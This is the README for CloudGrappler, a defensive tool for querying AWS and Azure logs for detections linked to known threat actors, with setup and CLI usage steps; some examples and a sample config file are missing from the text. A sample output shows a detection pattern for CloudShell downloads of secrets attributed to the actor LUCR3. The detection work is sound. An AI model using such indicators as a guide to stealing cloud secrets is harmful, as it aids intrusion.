I'm aware that perfection is elusive in coding. If you come across any bugs, feel free to contribute by fixing the code or suggesting new features. Your input is always welcomed and valued.
CloudGrappler is a purpose-built tool designed for effortless querying of high-fidelity and single-event detections related to well-known threat actors in popular cloud environments such as AWS and Azure.
Notes
To optimize your utilization of CloudGrappler, we recommend using shorter time ranges when querying for results. This approach enhances efficiency and accelerates the retrieval of information, ensuring a more seamless experience with the tool.
Required Packages
bash pip3 install -r requirements.txt
Cloning cloudgrep locally
To clone the cloudgrep repository locally, run the clone.sh file. Alternatively, you can manually clone the repository into the same directory where CloudGrappler was cloned.
bash chmod +x clone.sh ./clone.sh
Input
This tool offers a CLI (Command Line Interface). As such, here we review its use:
Example 1 - Running the tool with default queries file
Define the scanning scope inside data_sources.json file based on your cloud infrastructure configuration. The following example showcases a structured data_sources.json file for both AWS and Azure environments:
Note
Modifying the source inside the queries.json file to a wildcard character (*) will scan the corresponding query across both AWS and Azure environments.
[+] Running GetFileDownloadUrls.*secrets_ for AWS [+] Threat Actor: LUCR3 [+] Severity: MEDIUM [+] Description: Review use of CloudShell. Permiso seldom witnesses use of CloudShell outside of known attackers.This however may be a part of your normal business use case.
Example 6 - Running the tool with your own queries file
python3 main.py -f new_file.json
Running in your Cloud and Authentication cloudgrep
AWS
Your system will need access to the S3 bucket. For example, if you are running on your laptop, you will need to configure the AWS CLI. If you are running on an EC2, an Instance Profile is likely the best choice.